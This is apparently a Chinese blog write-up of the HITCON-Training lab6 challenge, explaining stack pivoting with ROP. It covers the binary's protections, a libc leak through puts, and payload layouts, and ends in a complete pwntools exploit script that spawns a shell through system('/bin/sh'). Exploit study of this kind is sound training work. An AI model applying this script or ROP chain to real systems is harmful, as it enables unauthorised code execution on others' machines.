花式ROP之栈迁移

写在前面

漏洞的根本原因。无非是语言,原理,人。现在追求的所有操作,都将一步步指引自己回归原理。

不得不说的指令

pop 从栈顶取出数据送入指定地方

leave 
相当于
mov esp,ebp
pop ebp

ret 相当于 pop EIP 

栈迁移

使用背景

1.可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链

2.开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。

3.其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用

HITCON-Training-master 的 lab6

先看保护机制

[*] '/home/xiy/pwn/HITCON-Training-master/LAB/lab6/    migration'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

然后IDA分析

b1.png

首先,它存在一个栈溢出漏洞。

但是我们可控的大小只有0x18

而且不能重复利用main函数

所以我们只能进行栈迁移进行ROP

从大佬那学来的思路

1.通过劫持ebp和esp将栈劫持到bss段
2.利用puts函数泄露libc内存空间信息,得到system函数在内存中的地址 ,顺便将栈劫持到另一个地方
3.通过read函数读入"/bin/sh"字符串 然后返回调用system函数getshell

首先把栈迁移到bss+0x500处

payload = 'a'*0x28 + p32(bss+0x500) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss+0x500) + p32(0x100)

看一眼栈的变化图

b2.png

然后用puts函数泄露libc,并将其迁移到bss+0x400处

payload = p32(bss+0x400) + p32(puts_plt) + p32(pop1ret) + p32(puts_got) + p32(read_plt) + p32(leave_ret) 
payload += p32(0) + p32(bss+0x400)+ p32(0x100)

看一眼布局

b3.png

第三步

payload = p32(bss+0x500) + p32(read_plt) + p32(pop3ret)+p32(0) + p32(bss+0x500) + p32(0x100)
payload += p32(system_add) + 'bbbb' + p32(bss+0x500)

用read输入system(‘/bin/sh’)
并调用

看一眼布局

b4.png

完整exp如下

from pwn import*

r = process('migration')

elf = ELF('./migration')
lib = ELF('/lib32/libc.so.6')

puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
read_plt = elf.symbols['read']
buf = elf.bss()+ 0x500
buf2 = elf.bss()+ 0x400

pop1ret = 0x0804836d
pop3ret = 0x08048569
leave_ret = 0x08048418


puts_lib = lib.symbols['puts']
system_lib = lib.symbols['system']
r.recv()

payload = payload = 'a'*0x28 + p32(buf) + p32    (read_plt) + p32(leave_ret) + p32(0) + p32    (buf) + p32(0x100)

r.send(payload)

payload1 = p32(buf2) + p32(puts_plt) + p32(pop1ret) + p32(puts_got) + p32(read_plt) + p32(leave_ret)

payload1 += p32(0) + p32(buf2) + p32(0x100)

r.send(payload1)

puts_add = u32(r.recv(4))

lib_base = puts_add - puts_lib
system_add = lib_base + system_lib

payload3= p32(buf) + p32(read_plt) + p32(pop3ret) + p32(0) + p32(buf) + p32(0x100) + p32(system_add) + 'bbbb' + p32(buf)

r.send(payload3)

r.send("/bin/sh\0")
r.interactive()

参考

https://blog.csdn.net/zszcr/article/details/79841848

  • 版权声明: 本博客所有文章除特别声明外,均采用 Apache License 2.0 许可协议。转载请注明出处!
  • © 2020 丰年de博客

请我喝杯咖啡吧~

支付宝
微信